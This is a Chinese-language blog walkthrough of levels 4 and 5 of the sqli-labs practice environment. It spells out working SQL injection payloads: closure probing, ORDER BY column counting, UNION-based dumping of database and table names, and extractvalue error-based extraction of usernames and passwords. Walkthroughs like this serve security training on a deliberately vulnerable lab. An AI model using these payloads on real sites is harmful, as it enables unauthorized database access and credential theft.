【sqli靶场】第四关和第五关通关思路

简介: 【sqli靶场】第四关和第五关通关思路


前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502

sqli靶场第二关和第三关:

https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502


一、sqli靶场第四关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

初步判断为双引号闭合。

1.2 观察报错  

报错信息为'"1"") LIMIT 0,1'

进一步判断为")闭合

输入?id=1") --+,正常回显。

1.3 判断数据表中的列数

输入?id=1") order by 3 --+,正常回显。

输入?id=1") order by 4 --+,显示超出。

用二分法与order by确定列数为3

1.4 使用union联合查询

输入?id=0") union select 1,2,3--+,判断回显位,页面如下:

输入?id=0") union select 1,2,database()--+爆出数据库名:

可以看到数据库名为security。

1.5 使用group_concat()函数

构造如下语句输入:

?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

可以看到表名为emails,referers,uagents,users。

点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。

二、sqli靶场第五关

2.1 判断注入类型

输入?id=1',出现如图所示报错('是英文单引号):

输入?id=1'',正常回显(''是两个英文单引号):

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为单引号闭合。

在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。

2.2 使用extractvalue函数报错

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。

concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。

结果如图:

我们能看到数据库名为security。

2.3 爆出数据库中的表名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())

结果如图:

我们能看到表名为emails,referers,uagents,users。

2.4 爆出users表中的列名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+

结果如图:

我们能看到users表中的列名为id,username,password。

2.5 爆出users表中的数据

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+

这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)

结果如图:

可以看到账号是Dumb,密码也是Dumb

我们可以将limit 0,1改为limit 1,1

结果如图:

可以看到账号是Angelina,密码是I-kill-you

目录
相关文章
|
1月前
|
数据采集 安全 Java
Burpsuite Intruder 暴力破jie实战
Burpsuite Intruder 暴力破jie实战
|
3月前
|
数据采集 JSON 数据处理
基于Python的B站(哔哩哔哩)视频评论采集,可破解反爬手段,想爬几条爬几条
本文介绍了一个基于Python的B站(哔哩哔哩)视频评论采集工具,能够通过输入视频的av号、BV号或链接,并使用特定的cookie和请求头信息来绕过反爬手段,实现大规模的评论数据采集,并支持将数据解析并保存为CSV格式。
|
6月前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
6月前
|
存储 安全 Linux
CTFHuB靶场命令执行题型过关总结
本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结..其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.
|
6月前
|
Web App开发 安全 Windows
【通关】WEBGOAT靶场—Path traversal路径遍历第二关
该漏洞利用涉及上传文件至WebGoat的PathTraversal模块。目标是覆盖`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\`目录下的文件。默认上传位置为`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test`。通过抓包和修改数据包,将上传路径改为上两级目录,实现目标。在POST请求中,添加目录跳转到文件名前,如`../`,然后发送修改后的包,成功完成挑战。
123 0
|
6月前
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
123 0
|
6月前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
88 0
|
机器学习/深度学习 索引 容器
leecode 每日一题 2596. 检查骑士巡视方案
leecode 每日一题 2596. 检查骑士巡视方案
62 0
pikachu靶场通关秘籍之目录遍历攻击
pikachu靶场通关秘籍之目录遍历攻击
184 0
|
Windows
pikachu靶场通关秘籍之命令执行攻击
pikachu靶场通关秘籍之命令执行攻击
129 0